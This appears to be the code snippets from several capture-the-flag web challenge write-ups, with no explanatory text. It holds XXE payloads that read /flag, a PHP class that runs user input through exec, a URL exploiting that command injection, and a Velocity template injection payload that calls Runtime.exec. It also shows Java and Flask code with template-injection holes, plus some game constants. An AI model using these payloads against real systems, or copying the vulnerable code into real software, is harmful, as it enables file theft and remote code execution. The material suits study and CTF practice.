1
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <root> <name>&xxe;</name> </root>

1
<!DOCTYPE foo [
2
  <!ENTITY xxe SYSTEM "file:///flag">
3
]>
4
<FirmwareUpdateConfig>
5
  <Firmware>
6
    <Version>1.0</Version>
7
    <name>&xxe;</name>
8
  </Firmware>
9
</FirmwareUpdateConfig>

1
<!DOCTYPE foo [
2
  <!ENTITY xxe SYSTEM "file:///flag.txt">
3
]>
4
<FirmwareUpdateConfig>
5
  <Firmware>
6
    <Version>&xxe;</Version>
7
    <name>&xxe;</name>
8
  </Firmware>
9
</FirmwareUpdateConfig>

1
export const START = 'YOU WAKE UP IN A FOREST.';
2

3
export const INITIAL_OPTIONS = [
4
    '<span class="command">You have 4 options!</span>',
5
    'HEAD NORTH',
6
    'HEAD SOUTH',
7
    'HEAD EAST',
8
    'HEAD WEST'
9
];
10

11
export const GAME_LOST =  'You <span class="command error">died</span> and couldn\'t escape the forest. Press <span class="command error">restart</span> to try again.';
12

13
export const GAME_WON = 'You <span class="command success">escaped</span> the forest and <span class="command success">won</span> the game! Congratulations! Press <span class="command success">restart</span> to play again.';
14

15
export const INFO = [
16
    "You abruptly find yourself lucid in the middle of a bizarre, alien forest.",
17
    "How the hell did you end up here?",
18
    "Eerie, indistinguishable sounds ripple through the gnarled trees, setting the hairs on your neck on edge.",
19
    "Glancing around, you spot a gangly, grinning figure lurking in the shadows, muttering 'Xclow3n' like some sort of deranged mantra, clearly waiting for you to pass out or something. Creepy much?",
20
    "Heads up! This forest isn't your grandmother's backyard.",
21
    "It's packed with enough freaks and frights to make a horror movie blush. Time to find your way out.",
22
    "The stakes? Oh, nothing big. Just your friends, plunged into an abyss of darkness and despair.",
23
    "Punch in 'start' to kick things off in this twisted adventure!"
24
];
25

26
export const CONTROLS = [
27
    "Use the <span class='command'>arrow</span> keys to traverse commands in the command history.",
28
    "Use the <span class='command'>enter</span> key to submit a command.",
29
];
30

31
export const HELP = [
32
    '<span class="command help">start</span> Start the game',
33
    '<span class="command help">clear</span> Clear the game screen',
34
    '<span class="command help">audio</span> Toggle audio on/off',
35
    '<span class="command help">restart</span> Restart the game',
36
    '<span class="command help">info</span> Show info about the game',
37
];

1
const fetchOptions = () => {
2
    fetch('/api/options')
3
        .then((data) => data.json())
4
        .then((res) => {
5
            availableOptions = res.allPossibleCommands;
6

7
        })
8
        .catch(() => {
9
            availableOptions = undefined;
10
        })
11
}

1
Blip-blop, in a pickle with a hiccup! Shmiggity-shmack

1
<?php
2
class TimeModel
3
{
4
    public function __construct($format)
5
    {
6
        $this->command = "date '+" . $format . "' 2>&1";
7
    }
8

9
    public function getTime()
10
    {
11
        $time = exec($this->command);
12
        $res  = isset($time) ? $time : '?';
13
        return $res;
14
    }
15
}

1
http://94.237.50.221:31205/?format=%H:%M:%S%27;cat%20/flag;echo%20%27

1
<dependency>
2
    <groupId>org.apache.velocity</groupId>
3
    <artifactId>velocity</artifactId>
4
    <version>1.7</version>
5
</dependency>

1
@RequestMapping("/")
2
@ResponseBody
3
String index(@RequestParam(required = false, name = "text") String textString) {
4
    if (textString == null) {
5
        textString = "Example text";
6
    }
7

8
    String template = "";
9

10
    try {
11
        template = readFileToString("/app/src/main/resources/templates/index.html", textString);
12
    } catch (IOException e) {
13
        e.printStackTrace();
14
    }
15

16
    RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
17
    StringReader reader = new StringReader(template);
18

19
    org.apache.velocity.Template t = new org.apache.velocity.Template();
20
    t.setRuntimeServices(runtimeServices);
21
    try {
22
        t.setData(runtimeServices.parse(reader, "home"));
23
        t.initDocument();
24
        VelocityContext context = new VelocityContext();
25
        context.put("name", "World");
26

27
        StringWriter writer = new StringWriter();
28
        t.merge(context, writer);
29
        template = writer.toString();
30
    } catch (ParseException e) {
31
        e.printStackTrace();
32
    }
33

34
    return template;
35
}

1
RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
2
StringReader reader = new StringReader(template);
3
t.setData(runtimeServices.parse(reader, "home"));

1
#set($x='')##
2
#set($str=$x.class.forName("java.lang.String"))##
3
#set($chr=$x.class.forName("java.lang.Character"))##
4
#set($ex=$x.class.forName("java.lang.Runtime").getRuntime().exec('cat /flag.txt'))##
5
$ex.waitFor()
6
#set($out=$ex.getInputStream())##
7
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

1
@views.route("/verify",methods=["GET", "POST"])
2
@login_required
3
def verify():
4
    if current_user.username == "admin":
5
        if request.method == "POST":
6
            user_id = request.form.get("user_id")
7
            verf_id = request.form.get("verification_id")
8
            query = Verification.query.filter_by(id=verf_id).first()
9

10
            img = Image.open(query.doc)
11

12
            exif_table={}
13

14
            for k, v in img.getexif().items():
15
                tag = TAGS.get(k)
16
                exif_table[tag]=v
17

18
            if "Artist" in exif_table.keys():
19
                sec_code = exif_table["Artist"]
20
                query.verified = 1
21
                db.session.commit()
22
                return render_template_string("Verified! {}".format(sec_code))
23
            else:
24
                return render_template_string("Not Verified! :(")
25
    else:
26
        flash("Oops", category="error")
27
        return redirect(url_for("views.home"))